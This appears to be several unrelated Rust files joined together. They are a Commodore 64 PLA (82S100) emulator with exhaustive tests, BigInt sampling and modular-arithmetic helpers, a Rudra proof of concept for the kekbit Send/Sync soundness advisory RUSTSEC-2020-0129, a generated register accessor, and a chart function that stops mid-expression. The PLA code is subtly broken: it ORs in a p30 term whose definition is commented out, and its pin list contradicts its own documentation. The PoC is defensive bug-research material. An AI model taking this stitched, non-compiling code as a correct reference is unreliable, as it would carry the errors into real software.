/// The purpose of the logic in the PLA is to take the current state of the system during a /// memory access and produce a single output enabling the one device (memory chip, /// processor chip with register, cartridge, etc.) that will handle that memory access. (If /// the selected output is IO, that indicates that the I/O block of memory is being /// accessed, but the PLA cannot determine *which* device is being accessed from this /// information alone. When that happens, a separate demultiplexer uses A8-A11 to determine /// which device it is.) /// /// ### Input pin assignments /// /// * I0: CAS. This is the control line from the VIC that enables access to RAM. Instead of /// going directly to RAM, this line comes to the PLA and if RAM access is selected, the /// CASRAM output is sent to the RAM chips. /// * I1: LORAM. This line controls the memory block from $A000 - $BFFF. When high (normal), /// the BASIC ROM is available in this memory block. When low, it's switched out for /// RAM. /// * I2: HIRAM. This line controls the memory area from $E000 - $FFFF. When high (normal), /// the KERNAL ROM is available in this memory block. When low, it's switched out for /// RAM. /// * I3: CHAREN. This line partially controls the memory block from $D000 - $DFFF. When /// high (normal), the I/O devices appear in this memory block. When low, the character /// ROM appears here instead. This line can be overridden by other signals, including /// those allowing this memory block to contain RAM instead. /// * I4, I14-I15: VA14, VA13, and VA12. When the VIC is active, these are used to determine /// which block of memory the VIC is trying to access. VA14 is active low because that's /// the way it's generated by CIA2; it's inverted back into active high before being /// used to access memory but not for use with the PLA. /// * I5-I8: A15-A12. Used to determine which block of memory the CPU wishes to access while /// the CPU is active. /// * I9: BA. The VIC sets this "Bus Available" line high to indicate normal bus operation, /// switching between VIC and CPU each cycle. The VIC sets it low when it intends to /// take exclusive access of the address bus. /// * I10: AEC. This inverse of the VIC's "Address Enable Control" signal indicates which of /// the CPU (low) or VIC (high) is in control of the data bus. /// * I11: R_W. A high signal means that memory is being read, while a low means memory is /// being written. This makes a difference to what memory is being accessed. For /// example, ROM cannot be written; if an attempt is made to write to a ROM address /// while ROM is banked in, the write will happen to RAM instead. /// * I12-I13: GAME and EXROM. These are used by cartridges to indicate the presence of /// addressable memory within them. There are two for-sure states for these two signals: /// if both are high (the normal state), there is no cartridge; and if EXROM is high and /// GAME is low, there is an Ultimax cartridge. Further mapping to cartridge ROM depends /// not only on these two signals but also on LORAM, HIRAM, and CHAREN` there is a nice /// table at https://www.c64-wiki.com/wiki/Bank_Switching#Mode_Table. /// /// ### Output pin assignments /// /// Since the outputs are fed to chip select pins, which are universally active low, all of /// these are programmed to be inverted. Thus, at last seven of them will be high at any /// given time and at most one will be low. /// /// * F0: CASRAM. This is the signal that ultimately enables RAM. The production of this /// signal is very different from the others. For all other output, if one of their /// terms is selected, that output will be selected. For CASRAM, its terms are combined /// with the terms from all other outputs (except for GR_W), and if any of the terms are /// selected, then CASRAM will be *de*selected. (Even if all of those other outputs are /// deselected, CASRAM will be deselected if CAS is high or if certain addresses are /// accessed while an Ultimax cartridge is plugged in. In these cases, no PLA outputs /// will be selected.) /// * F1: BASIC. Enables the BASIC ROM. /// * F2: KERNAL. Enables the KERNAL ROM. /// * F3: CHAROM. Enables the Character ROM. /// * F4: GR_W. Indicates that the static color RAM is being written to. Note that this is /// the only output that is not actually a chip enable signal; color RAM is possibly /// enabled if the IO output is selected (see the Ic74139 for details). /// * F5: IO. Indicates that one of the following are going to be enabled: CIA1 registers, /// CIA2 registers, VIC registers, SID registers, color RAM, expansion port I/O from /// address $DE00 - $DEFF, or expansion port I/O from address $DF00 - $DFFF. Which of /// these is actually enabled is done by decoding A8-A11, which is done by the 74139. /// * F6: ROML. Enables expansion port ROM from $8000 - $9FFF. /// * F7: ROMH. Enables expansion port ROM from $E000 - $EFFF. /// /// There is a ton of information about the internal workings of the C64's version of the /// 82S100 in "The C64 PLA Dissected" at /// http://skoe.de/docs/c64-dissected/pla/c64_pla_dissected_a4ds.pdf. This document was used /// to derive all of the logic in this object and has a number of interesting stories /// besides (if you find that sort of thing interesting). /// /// Additionally, the 82S100 has an active-low chip enable pin CE which is not used in the /// Commodore 64 (it is tied directly to ground and therefore is always low, so the chip is /// always enabled). There is also an FE pin that was used for programming the chip in the /// field; the emulated chip from the C64 doesn't use this as the chip was programmed during /// manufacturing. /// /// The chip comes in a 28-pin dual in-line package with the following pin assignments. /// ```text /// +-----+--+-----+ /// FE |1 +--+ 28| VCC /// I7 |2 27| I8 /// I6 |3 26| I9 /// I5 |4 25| I10 /// I4 |5 24| I11 /// I3 |6 23| I12 /// I2 |7 22| I13 /// I1 |8 82S100 21| I14 /// I0 |9 20| I15 /// F7 |10 19| CE /// F6 |11 18| F0 /// F5 |12 17| F1 /// F4 |13 16| F2 /// VSS |14 15| F3 /// +--------------+ /// ``` /// The pin assignments are very straightforward and are described here. /// /// | Pin | Name | C64 Name | Description | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 1 | FE | | Field programming pin. Used to program a PLA in the field. | /// | | | | This pin is left unconnected in normal use and is not | /// | | | | emulated. | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 2 | I7 | A13 | Input pins. These are connected to traces in the C64 that | /// | 3 | I6 | A14 | are described by their C64 name. Each of these traces is | /// | 4 | I5 | A15 | instrumental in determining which chip should be enabled for| /// | 5 | I4 | VA14 | the next read or write. Details of the purpose for each of | /// | 6 | I3 | CHAREN | these are desribed above. | /// | 7 | I2 | HIRAM | | /// | 8 | I1 | LORAM | | /// | 9 | I0 | CAS | | /// | 20 | I15 | VA12 | | /// | 21 | I14 | VA13 | | /// | 22 | I13 | GAME | | /// | 23 | I12 | EXROM | | /// | 24 | I11 | R_W | | /// | 25 | I10 | AEC | | /// | 26 | I9 | BA | | /// | 27 | I8 | A12 | | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 10 | F7 | ROMH | Output pins. Each of these is active-low and leads to the | /// | 11 | F6 | ROML | chip select pins of the chip (or expansion port pin, in the | /// | 12 | F5 | IO | case of ROML and ROMH) described by its C64 name. Details | /// | 13 | F4 | GR_W | about the purpose for each of these signals is described | /// | 15 | F3 | CHAROM | above. | /// | 16 | F2 | KERNAL | | /// | 17 | F1 | BASIC | | /// | 18 | F0 | CASRAM | | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 14 | VSS | | Electrical ground. Not emulated. | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 19 | CE | | Active-low chip enable. Always low (enabled) in the C64. | /// | --- | ----- | -------- | ----------------------------------------------------------- | /// | 28 | VCC | | +5V power supply. Not emulated. | /// /// In the Commodore 64, U17 is an 82S100. As detailed extensively above, it was used to /// decode signals to determine which chip would receive a particular read or write. pub struct Ic82S100 { /// The pins of the 82S100, along with a dummy pin (at index 0) to ensure that the /// vector index of the others matches the 1-based pin assignments. pins: RefVec<Pin>, } impl Ic82S100 { pub fn new() -> DeviceRef { // Input pins. In the 82S100, these were generically named I0 through I15, since // each pin could serve any function depending on the programming applied. let i0 = pin!(I0, "I0", Input); let i1 = pin!(I1, "I1", Input); let i2 = pin!(I2, "I2", Input); let i3 = pin!(I3, "I3", Input); let i4 = pin!(I4, "I4", Input); let i5 = pin!(I5, "I5", Input); let i6 = pin!(I6, "I6", Input); let i7 = pin!(I7, "I7", Input); let i8 = pin!(I8, "I8", Input); let i9 = pin!(I9, "I9", Input); let i10 = pin!(I10, "I10", Input); let i11 = pin!(I11, "I11", Input); let i12 = pin!(I12, "I12", Input); let i13 = pin!(I13, "I13", Input); let i14 = pin!(I14, "I14", Input); let i15 = pin!(I15, "I15", Input); // Output pins. Similar to the input pins, these were named generically on the 82S100. let f0 = pin!(F0, "F0", Output); let f1 = pin!(F1, "F1", Output); let f2 = pin!(F2, "F2", Output); let f3 = pin!(F3, "F3", Output); let f4 = pin!(F4, "F4", Output); let f5 = pin!(F5, "F5", Output); let f6 = pin!(F6, "F6", Output); let f7 = pin!(F7, "F7", Output); // Output enable, disables all outputs when set high. let oe = pin!(OE, "OE", Input); // Field programming pin, not used in mask programmed parts and not emulated. let fe = pin!(FE, "FE", Unconnected); // Power supply and ground pins, not emulated let vcc = pin!(VCC, "VCC", Unconnected); let vss = pin!(VSS, "VSS", Unconnected); let device: DeviceRef = new_ref!(Ic82S100 { pins: pins![ i0, i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15, f0, f1, f2, f3, f4, f5, f6, f7, oe, fe, vcc, vss ], }); clear!(f0); set!(f1, f2, f3, f4, f5, f6, f7); attach_to!( device, i0, i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15, oe ); device } } impl Device for Ic82S100 { fn pins(&self) -> RefVec<Pin> { self.pins.clone() } fn registers(&self) -> Vec<u8> { vec![] } fn update(&mut self, event: &LevelChange) { macro_rules! value_in { ($pin:expr, $target:expr) => { if number!($pin) == $target { high!($pin) } else { high!(self.pins[$target]) } }; } macro_rules! value_out { ($value:expr, $target:expr) => { set_level!( self.pins[$target], if $value { Some(1.0) } else { Some(0.0) } ) }; } match event { LevelChange(pin) if number!(pin) == OE && high!(pin) => { float!( self.pins[F0], self.pins[F1], self.pins[F2], self.pins[F3], self.pins[F4], self.pins[F5], self.pins[F6], self.pins[F7] ); } LevelChange(pin) => { // These are the product term equations programmed into the PLA for use in a // C64. The names for each signal reflect the names of the pins that those // signals come from, and while that is an excellent way to make long and // complex code succinct, it doesn't do much for the human reader. For that // reason, each term has a comment to describe in more human terms what is // happening with that piece of the algorithm. // // Each P-term below has a comment with three lines. The first line // describes the state of the three 6510 I/O port lines that are used for // bank switching (LORAM, HIRAM, and CHAREN). The second line is the memory // address that needs to be accessed to select that P-term (this is from // either the regular address bus when the CPU is active or the VIC address // bus when the VIC is active). The final line gives information about // whether the CPU or the VIC is active, whether the memory access is a read // or a write, and what type (if any) of cartridge must be plugged into the // expansion port (the cartridge informaion takes into account the values of // LORAM, HIRAM, and CHAREN already). // // If any piece of information is not given, its value doesn't matter to // that P-term. For example, in p0, the comment says that LORAM and HIRAM // must both be deselected. CHAREN isn't mentioned because whether it is // selected or not doesn't change whether that P-term is selected or not. // // Oftentimes, the reason for multiple terms for one output selection is the // limitation on what can be checked in a single logic term, given that no // ORs are possible in the production of P-terms. For example, it is very // common to see two terms that are identical except that one indicates "no // cartridge or 8k cartridge" while the other has "16k cartridge". These two // terms together really mean "anything but an Ultimax cartridge", but // there's no way to do that in a single term with only AND and NOT. // // This information comes from the excellent paper available at // skoe.de/docs/c64-dissected/pla/c64_pla_dissected_a4ds.pdf. If this sort // of thing interests you, there's no better place for information about the // C64 PLA. let cas = value_in!(pin, CAS); let loram = value_in!(pin, LORAM); let hiram = value_in!(pin, HIRAM); let charen = value_in!(pin, CHAREN); let va14 = value_in!(pin, VA14); let a15 = value_in!(pin, A15); let a14 = value_in!(pin, A14); let a13 = value_in!(pin, A13); let a12 = value_in!(pin, A12); let ba = value_in!(pin, BA); let aec = value_in!(pin, AEC); let r_w = value_in!(pin, R_W); let exrom = value_in!(pin, EXROM); let game = value_in!(pin, GAME); let va13 = value_in!(pin, VA13); let va12 = value_in!(pin, VA12); // LORAM deselected, HIRAM deselected // $A000 - $BFFF // CPU active, Read, No cartridge or 8k cartridge let p0 = loram & hiram & a15 & !a14 & a13 & !aec & r_w & game; // HIRAM deselected // $E000 - $FFFF // CPU active, Read, No cartridge or 8k cartridge let p1 = hiram & a15 & a14 & a13 & !aec & r_w & game; // HIRAM deselected // $E000 - $FFFF // CPU active, Read, 16k cartridge let p2 = hiram & a15 & a14 & a13 & !aec & r_w & !exrom & !game; // HIRAM deselected, CHAREN selected // $D000 - $DFFF // CPU active, Read, No cartridge or 8k cartridge let p3 = hiram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & game; // LORAM deselected, CHAREN selected // $D000 - $DFFF // CPU active, Read, No cartridge or 8k cartridge let p4 = loram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & game; // HIRAM deselected, CHAREN selected // $D000 - $DFFF // CPU active, Read, 16k cartridge let p5 = hiram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & !exrom & !game; // // $1000 - $1FFF or $9000 - $9FFF // VIC active, No cartridge or 8k cartridge let p6 = va14 & !va13 & va12 & aec & game; // // $1000 - $1FFF or $9000 - $9FFF // VIC active, 16k cartridge let p7 = va14 & !va13 & va12 & aec & !exrom & !game; // Unused. May be a relic from earlier design in C64 prototypes that never // got removed. // let p8 = cas & a15 & a14 & !a12 & a11 & !aec & !r_w; // HIRAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Bus available, Read, No cartridge or 8k cartridge let p9 = hiram & charen & a15 & a14 & !a13 & a12 & !aec & ba & r_w & game; // HIRAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Write, No cartridge or 8k cartridge let p10 = hiram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & game; // LORAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Bus available, Read, No cartridge or 8k cartridge let p11 = loram & charen & a15 & a14 & !a13 & a12 & !aec & ba & r_w & game; // LORAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Write, No cartridge or 8k cartridge let p12 = loram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & game; // HIRAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Bus available, Read, 16k cartridge let p13 = hiram & charen & a15 & a14 & !a13 & a12 & !aec & ba & r_w & !exrom & !game; // HIRAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Write, 16k cartridge let p14 = hiram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & !exrom & !game; // LORAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Bus available, Read, 16k cartridge let p15 = loram & charen & a15 & a14 & !a13 & a12 & !aec & ba & r_w & !exrom & !game; // LORAM deselected, CHAREN deselected // $D000 - $DFFF // CPU active, Write, 16k cartridge let p16 = loram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & !exrom & !game; // // $D000 - $DFFF // CPU active, Bus available, Read, Ultimax cartridge let p17 = a15 & a14 & !a13 & a12 & !aec & ba & r_w & exrom & !game; // // $D000 - $DFFF // CPU active, Write, Ultimax cartridge let p18 = a15 & a14 & !a13 & a12 & !aec & !r_w & exrom & !game; // LORAM deselected, HIRAM deselected // $8000 - $9FFF // CPU active, Read, 8k or 16k cartridge let p19 = loram & hiram & a15 & !a14 & !a13 & !aec & r_w & !exrom; // // $8000 - $9FFF // CPU active, Ultimax cartridge let p20 = a15 & !a14 & !a13 & !aec & exrom & !game; // HIRAM deselected // $A000 - $BFFF // CPU active, Read, 16k cartridge let p21 = hiram & a15 & !a14 & a13 & !aec & r_w & !exrom & !game; // // $E000 - $EFFF // CPU active, Ultimax cartridge let p22 = a15 & a14 & a13 & !aec & exrom & !game; // // $3000 - $3FFF, $7000 - $7FFF, $B000 - $BFFF, or $E000 - $EFFF // VIC active, Ultimax cartridge let p23 = va13 & va12 & aec & exrom & !game; // // $1000 - $1FFF or $3000 - $3FFF // Ultimax cartridge let p24 = !a15 & !a14 & a12 & exrom & !game; // // $2000 - $3FFF // Ultimax cartridge let p25 = !a15 & !a14 & a13 & exrom & !game; // // $4000 - $7FFF // Ultimax cartridge let p26 = !a15 & a14 & exrom & !game; // // $A000 - $BFFF // Ultimax cartridge let p27 = a15 & !a14 & a13 & exrom & !game; // // $C000 - $CFFF // Ultimax cartridge let p28 = a15 & a14 & !a13 & !a12 & exrom & !game; // Unused. // let p29 = !loram; // CAS deselected // // let p30 = cas; // CAS selected // $D000 - $DFFF // CPU access, Write let p31 = !cas & a15 & a14 & !a13 & a12 & !aec & !r_w; // This is the sum-term (S-term) portion of the logic, where the P-terms // calculated above are logically ORed to poroduce a single output. This is // much simpler than P-term production because the P-terms handle everything // about chip selection, except that each chip may be the choice of several // different P-terms. That's the role of the S-term logic, to combine // P-terms to come up with single outputs. // Selects BASIC ROM. let s1 = p0; // Selects KERNAL ROM. let s2 = p1 | p2; // Selects Character ROM. let s3 = p3 | p4 | p5 | p6 | p7; // Selects I/O, color RAM, or processor registers. let s4 = p9 | p10 | p11 | p12 | p13 | p14 | p15 | p16 | p17 | p18; // Selects low cartridge ROM. let s5 = p19 | p20; // Selects high cartridge ROM. let s6 = p21 | p22 | p23; // Selects write mode for color RAM. let s7 = p31; // Deselects RAM. This is the only *de*selection, which is why it is the // only one not inverted in the state assignment below. let s0 = s1 | s2 | s3 | s4 | s5 | s6 | p24 | p25 | p26 | p27 | p28 | p30; value_out!(s0, CASRAM); value_out!(!s1, BASIC); value_out!(!s2, KERNAL); value_out!(!s3, CHAROM); value_out!(!s7, GR_W); value_out!(!s4, IO); value_out!(!s5, ROML); value_out!(!s6, ROMH); } } } } #[cfg(test)] mod test { use crate::{ components::trace::{Trace, TraceRef}, test_utils::{make_traces, traces_to_value, value_to_traces}, }; use super::*; const INPUTS: [usize; 16] = [ I0, I1, I2, I3, I4, I5, I6, I7, I8, I9, I10, I11, I12, I13, I14, I15, ]; const OUTPUTS: [usize; 8] = [F0, F1, F2, F3, F4, F5, F6, F7]; // This function was adapted from a C program that provides a 64k table of outputs for // PLA based on all of the possible inputs. The original is located at // http://www.zimmers.net/anonftp/pub/cbm/firmware/computers/c64/pla.c. fn get_expected(input: u16) -> u8 { let cas = input & (1 << 0) != 0; let loram = input & (1 << 1) != 0; let hiram = input & (1 << 2) != 0; let charen = input & (1 << 3) != 0; let va14 = input & (1 << 4) != 0; let a15 = input & (1 << 5) != 0; let a14 = input & (1 << 6) != 0; let a13 = input & (1 << 7) != 0; let a12 = input & (1 << 8) != 0; let ba = input & (1 << 9) != 0; let aec = input & (1 << 10) != 0; let r_w = input & (1 << 11) != 0; let exrom = input & (1 << 12) != 0; let game = input & (1 << 13) != 0; let va13 = input & (1 << 14) != 0; let va12 = input & (1 << 15) != 0; let f0 = (loram & hiram & a15 & !a14 & a13 & !aec & r_w & game) | (hiram & a15 & a14 & a13 & !aec & r_w & game) | (hiram & a15 & a14 & a13 & !aec & r_w & !exrom & !game) | (hiram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & game) | (loram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & game) | (hiram & !charen & a15 & a14 & !a13 & a12 & !aec & r_w & !exrom & !game) | (va14 & aec & game & !va13 & va12) | (va14 & aec & !exrom & !game & !va13 & va12) | (hiram & charen & a15 & a14 & !a13 & a12 & ba & !aec & r_w & game) | (hiram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & game) | (loram & charen & a15 & a14 & !a13 & a12 & ba & !aec & r_w & game) | (loram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & game) | (hiram & charen & a15 & a14 & !a13 & a12 & ba & !aec & r_w & !exrom & !game) | (hiram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & !exrom & !game) | (loram & charen & a15 & a14 & !a13 & a12 & ba & !aec & r_w & !exrom & !game) | (loram & charen & a15 & a14 & !a13 & a12 & !aec & !r_w & !exrom & !game) | (a15 & a14 & !a13 & a12 & ba & !aec & r_w & exrom & !game) | (a15 & a14 & !a13 & a12 & !aec & !r_w & exrom & !game) | (loram & hiram & a15 & !a14 & !a13 & !aec & r_w & !exrom) | (a15 & !a14 & !a13 & !aec & exrom & !game) | (hiram & a15 & !a14 & a13 & !aec & r_w & !exrom & !game) | (a15 & a14 & a13 & !aec & exrom & !game) | (aec & exrom & !game & va13 & va12) | (!a15 & !a14 & a12 & exrom & !game) | (!a15 & !a14 & a13 & exrom & !game) | (!a15 & a14 & exrom & !game) | (a15 & !a14 & a13 & exrom & !game) | (a15 & a14 & !a13 & !a12 & exrom & !game) | cas; let f1 = !loram | !hiram | !a15 | a14 | !a13 | aec | !r_w | !game; let f2 = (!hiram | !a15 | !a14 | !a13 | aec | !r_w | !game) & (!hiram | !a15 | !a14 | !a13 | aec | !r_w | exrom | game); let f3 = (!hiram | charen | !a15 | !a14 | a13 | !a12 | aec | !r_w | !game) & (!loram | charen | !a15 | !a14 | a13 | !a12 | aec | !r_w | !game) & (!hiram | charen | !a15 | !a14 | a13 | !a12 | aec | !r_w | exrom | game) & (!va14 | !aec | !game | va13 | !va12) & (!va14 | !aec | exrom | game | va13 | !va12); let f4 = cas | !a15 | !a14 | a13 | !a12 | aec | r_w; let f5 = (!hiram | !charen | !a15 | !a14 | a13 | !a12 | !ba | aec | !r_w | !game) & (!hiram | !charen | !a15 | !a14 | a13 | !a12 | aec | r_w | !game) & (!loram | !charen | !a15 | !a14 | a13 | !a12 | !ba | aec | !r_w | !game) & (!loram | !charen | !a15 | !a14 | a13 | !a12 | aec | r_w | !game) & (!hiram | !charen | !a15 | !a14 | a13 | !a12 | !ba | aec | !r_w | exrom | game) & (!hiram | !charen | !a15 | !a14 | a13 | !a12 | aec | r_w | exrom | game) & (!loram | !charen | !a15 | !a14 | a13 | !a12 | !ba | aec | !r_w | exrom | game) & (!loram | !charen | !a15 | !a14 | a13 | !a12 | aec | r_w | exrom | game) & (!a15 | !a14 | a13 | !a12 | !ba | aec | !r_w | !exrom | game) & (!a15 | !a14 | a13 | !a12 | aec | r_w | !exrom | game); let f6 = (!loram | !hiram | !a15 | a14 | a13 | aec | !r_w | exrom) & (!a15 | a14 | a13 | aec | !exrom | game); let f7 = (!hiram | !a15 | a14 | !a13 | aec | !r_w | exrom | game) & (!a15 | !a14 | !a13 | aec | !exrom | game) & (!aec | !exrom | game | !va13 | !va12); let mut output = 0; if f0 { output |= 1 << 0; } if f1 { output |= 1 << 1; } if f2 { output |= 1 << 2; } if f3 { output |= 1 << 3; } if f4 { output |= 1 << 4; } if f5 { output |= 1 << 5; } if f6 { output |= 1 << 6; } if f7 { output |= 1 << 7; } output } fn before_each() -> (DeviceRef, RefVec<Trace>, RefVec<Trace>, RefVec<Trace>) { let device = Ic82S100::new(); let tr = make_traces(&device); let trin = RefVec::with_vec( IntoIterator::into_iter(INPUTS) .map(|p| clone_ref!(tr[p])) .collect::<Vec<TraceRef>>(), ); let trout = RefVec::with_vec( IntoIterator::into_iter(OUTPUTS) .map(|p| clone_ref!(tr[p])) .collect::<Vec<TraceRef>>(), ); (device, tr, trin, trout) } #[test] fn disable_out_on_high_oe() { let (_, tr, _, _) = before_each(); set!(tr[OE]); assert!(floating!(tr[F0])); assert!(floating!(tr[F1])); assert!(floating!(tr[F2])); assert!(floating!(tr[F3])); assert!(floating!(tr[F4])); assert!(floating!(tr[F5])); assert!(floating!(tr[F6])); assert!(floating!(tr[F7])); } #[test] fn logic_combinations() { let (_, tr, trin, trout) = before_each(); clear!(tr[OE]); for value in 0..0xffff { let expected = get_expected(value); value_to_traces(value as usize, &trin); let actual = traces_to_value(&trout); assert_eq!( actual as usize, expected as usize, "Incorrect output for input {:016b}: expected {:08b}, actual {:08b}", value, expected, actual ); } } }
use crate::BigInt; use rand::{CryptoRng, RngCore}; pub fn sample(bit_size: usize) -> BigInt { if bit_size == 0 { return BigInt::zero(); } let bytes = (bit_size - 1) / 8 + 1; let mut buf: Vec<u8> = vec![0; bytes]; rand::thread_rng().fill_bytes(&mut buf); BigInt::from(&*buf) >> (bytes * 8 - bit_size) } /// Sample a number of bit length bit_size pub fn sample_with_rng(rng: &mut (impl CryptoRng + RngCore), bit_size: usize) -> BigInt { if bit_size == 0 { return BigInt::zero(); } let bytes = (bit_size - 1) / 8 + 1; let mut buf: Vec<u8> = vec![0; bytes]; rng.fill_bytes(&mut buf); let mut p = BigInt::from(buf.as_ref()); p >>= bytes * 8 - bit_size; // Set the MSB to 1 to get full bit length p.setbit(bit_size - 1); p } pub fn sample_below(upper: &BigInt) -> BigInt { assert!(*upper > BigInt::zero()); let bits = upper.bit_length(); loop { let n = sample(bits); if n < *upper { return n; } } } pub fn sample_range(lower: &BigInt, upper: &BigInt) -> BigInt { assert!(upper > lower); lower + sample_below(&(upper - lower)) } pub fn is_even(bigint: &BigInt) -> bool { bigint.is_multiple_of(&BigInt::from(2)) } pub fn set_bit(bigint: &mut BigInt, bit: usize, bit_val: bool) { if bit_val { bigint.setbit(bit); } else { bigint.clrbit(bit); } } pub fn mod_sub(a: &BigInt, b: &BigInt, modulus: &BigInt) -> BigInt { // let a_m = a.gmp.mod_floor(&modulus.gmp); // let b_m = b.gmp.mod_floor(&modulus.gmp); // let sub_op = a_m - b_m + &modulus.gmp; // sub_op.mod_floor(&modulus.gmp).wrap() (a.modulus(modulus) - b.modulus(modulus)).modulus(modulus) } pub fn mod_add(a: &BigInt, b: &BigInt, modulus: &BigInt) -> BigInt { (a.modulus(modulus) + b.modulus(modulus)).modulus(modulus) } pub fn mod_mul(x: &BigInt, y: &BigInt, n: &BigInt) -> BigInt { (x.modulus(n) * y.modulus(n)).modulus(n) } pub fn try_from<T>(n: &BigInt) -> T where Option<T>: for<'a> From<&'a BigInt>, { Option::<T>::from(n).unwrap_or_else(|| panic!("conversion from bigint failed")) }
/*! ```rudra-poc [target] crate = "kekbit" version = "0.3.3" [[target.peer]] crate = "tempdir" version = "0.3.7" [report] issue_url = "https://github.com/motoras/kekbit/issues/34" issue_date = 2020-12-18 rustsec_url = "https://github.com/RustSec/advisory-db/pull/706" rustsec_id = "RUSTSEC-2020-0129" [[bugs]] analyzer = "SendSyncVariance" bug_class = "SendSyncVariance" rudra_report_locations = ["src/core/writer.rs:82:1: 82:49"] ``` !*/ #![forbid(unsafe_code)] use std::marker::PhantomData; use std::thread; use kekbit::api::Handler; use kekbit::core::{shm_writer, Metadata, TickUnit::Nanos}; // non-Send type that panics when dropped in a wrong thread struct NonSend { created_thread: thread::ThreadId, // Ensure `NonSend` type does not implement `Send` trait _marker: PhantomData<*mut ()>, } impl NonSend { pub fn new() -> Self { NonSend { created_thread: thread::current().id(), _marker: PhantomData, } } } impl Drop for NonSend { fn drop(&mut self) { if thread::current().id() != self.created_thread { panic!("NonSend destructor is running on a wrong thread!"); } } } impl Handler for NonSend {} fn main() { // Example code from: https://docs.rs/kekbit/0.3.3/kekbit/core/fn.shm_writer.html#examples const FOREVER: u64 = 99_999_999_999; let writer_id = 1850; let channel_id = 42; let capacity = 3000; let max_msg_len = 100; let metadata = Metadata::new(writer_id, channel_id, capacity, max_msg_len, FOREVER, Nanos); let test_tmp_dir = tempdir::TempDir::new("kekbit").unwrap(); let writer = shm_writer(&test_tmp_dir.path(), &metadata, NonSend::new()).unwrap(); let handle = thread::spawn(move || { // `NonSend` is sent to another thread via `ShmWriter` drop(writer); }); handle.join().unwrap(); }
#[doc = "Register `RCC_RTCDIVR` reader"] pub type R = crate::R<RCC_RTCDIVR_SPEC>; #[doc = "Register `RCC_RTCDIVR` writer"] pub type W = crate::W<RCC_RTCDIVR_SPEC>; #[doc = "Field `RTCDIV` reader - RTCDIV"] pub type RTCDIV_R = crate::FieldReader; #[doc = "Field `RTCDIV` writer - RTCDIV"] pub type RTCDIV_W<'a, REG, const O: u8> = crate::FieldWriter<'a, REG, 6, O>; impl R { #[doc = "Bits 0:5 - RTCDIV"] #[inline(always)] pub fn rtcdiv(&self) -> RTCDIV_R { RTCDIV_R::new((self.bits & 0x3f) as u8) } } impl W { #[doc = "Bits 0:5 - RTCDIV"] #[inline(always)] #[must_use] pub fn rtcdiv(&mut self) -> RTCDIV_W<RCC_RTCDIVR_SPEC, 0> { RTCDIV_W::new(self) } #[doc = "Writes raw bits to the register."] #[inline(always)] pub unsafe fn bits(&mut self, bits: u32) -> &mut Self { self.bits = bits; self } } #[doc = "This register is used to divide the HSE clock for RTC. If TZEN = , this register can only be modified in secure mode.\n\nYou can [`read`](crate::generic::Reg::read) this register and get [`rcc_rtcdivr::R`](R). You can [`reset`](crate::generic::Reg::reset), [`write`](crate::generic::Reg::write), [`write_with_zero`](crate::generic::Reg::write_with_zero) this register using [`rcc_rtcdivr::W`](W). You can also [`modify`](crate::generic::Reg::modify) this register. See [API](https://docs.rs/svd2rust/#read--modify--write-api)."] pub struct RCC_RTCDIVR_SPEC; impl crate::RegisterSpec for RCC_RTCDIVR_SPEC { type Ux = u32; } #[doc = "`read()` method returns [`rcc_rtcdivr::R`](R) reader structure"] impl crate::Readable for RCC_RTCDIVR_SPEC {} #[doc = "`write(|w| ..)` method takes [`rcc_rtcdivr::W`](W) writer structure"] impl crate::Writable for RCC_RTCDIVR_SPEC { const ZERO_TO_MODIFY_FIELDS_BITMAP: Self::Ux = 0; const ONE_TO_MODIFY_FIELDS_BITMAP: Self::Ux = 0; } #[doc = "`reset()` method sets RCC_RTCDIVR to value 0"] impl crate::Resettable for RCC_RTCDIVR_SPEC { const RESET_VALUE: Self::Ux = 0; }
use crate::connection::AxisScale; use crate::plot::plotters_backend::{Colors, DEFAULT_FONT, POINT_SIZE, SIZE}; use crate::plot::LineCurve; use crate::report::ValueType; use plotters::coord::{AsRangedCoord, Shift}; use plotters::prelude::*; use std::path::PathBuf; pub fn line_comparison( colors: &Colors, path: PathBuf, title: &str, unit: &str, value_type: ValueType, axis_scale: AxisScale, lines: &[(Option<&String>, LineCurve)], ) { let x_range = plotters::data::fitting_range(lines.iter().flat_map(|(_, curve)| curve.xs.iter())); let y_range = plotters::data::fitting_range(lines.iter().flat_map(|(_, curve)| curve.ys.iter())); let root_area = SVGBackend::new(&path, SIZE.into()) .into_drawing_area() .titled(&format!("{}: Comparison", title), (DEFAULT_FONT, 20)) .unwrap(); match axis_scale { AxisScale::Linear => draw_line_comparison_figure( colors, root_area, &unit, x_range, y_range, value_type, lines, ), AxisScale::Logarithmic => draw_line_comparison_figure( colors, root_area, &unit, LogRange(x_range), LogRange(y_range), value_type, lines, ), } } fn draw_line_comparison_figure<XR: AsRangedCoord<Value = f64>, YR: AsRangedCoord<Value = f64>>( colors: &Colors, root_area: DrawingArea<SVGBackend, Shift>, y_unit: &str, x_range: XR, y_range: YR, value_type: ValueType, data: &[(Option<&String>, LineCurve)], ) { let input_suffix = match value_type { ValueType::Bytes => " Size (Bytes)", ValueType::Elements => " Size (Elements)", ValueType::Value => "", }; let mut chart = ChartBuilder::on(&root_area) 